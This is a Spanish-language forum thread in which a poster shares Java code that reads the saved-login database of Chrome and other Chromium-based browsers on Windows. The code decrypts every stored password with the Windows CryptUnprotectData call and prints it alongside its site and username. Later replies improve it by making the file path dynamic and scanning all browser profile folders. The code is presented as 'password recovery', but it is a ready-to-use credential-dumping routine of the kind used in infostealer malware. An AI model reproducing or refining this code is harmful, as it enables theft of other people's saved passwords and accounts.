• Fuentes

 #474184  por adwind
 02 Jul 2015, 23:31
Descarga e importa las siguientes librerias

-JNA-4.1.0.jar
-jna-platform-4.1.0.jar
-sqlite-jdbc-3.8.7.jar
Author: Yo

Este codigo sirve para obtener las contraseñas de todos los anvegadores que usen chrominium como base, como el comodo browser, etc. Solo funciona en windows.
import com.sun.jna.platform.win32.Crypt32Util;
import com.sun.jna.platform.win32.WinCrypt;
import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
 
public class ChromePasswordRecovery {
 
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
 
        Class.forName("org.sqlite.JDBC");
        System.out.println("CHROME....---------");
        File CHROMEW = new File("C:\\Users\\Username\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
        Connection conexion = DriverManager.getConnection("jdbc:sqlite:" + CHROMEW.getAbsolutePath());
        Statement est = conexion.createStatement();
        ResultSet rs = est.executeQuery("SELECT * FROM LOGINS;");
        while (rs.next()) {
            System.out.println(rs.getString("origin_url"));
            System.out.println(rs.getString("username_value"));
 
            byte[] cryptUnprotectData = Crypt32Util.cryptUnprotectData(rs.getBytes("password_value"));
            System.out.println(new String(cryptUnprotectData));
            System.out.println("\n");
 
        }
        }
    }
 #474199  por crack81
 03 Jul 2015, 07:01
Gracias adwind tu codigo anda de perlas lo unico diferente fue la ruta pero lo demas bien.
 #474215  por Pink
 03 Jul 2015, 16:16
Gracias adwind. maluco pusiste la ruta dinámica. ¬¬


Saludos
 #474386  por Slek
 06 Jul 2015, 23:32
Muy buena amigo!

Saludos :D
 #474575  por adwind
 09 Jul 2015, 23:14
C:\\Users\\Username\\AppData\\Local por esto System.getenv("LOCALAPPDATA") para que sea dinámico.
 #478910  por adwind
 05 Oct 2015, 20:55
Hay un pequeño detalle con este code en la parte de la carpeta "Default" he visto que cuando usas los perfiles de chrome es decir que te logueas con tu correo las contraseñas se almacenan en las carpetas Profile 1, Profile 2 etc y asi hasta el N número de correos logueados, asi que pueden checar por esas carpetas igualmente.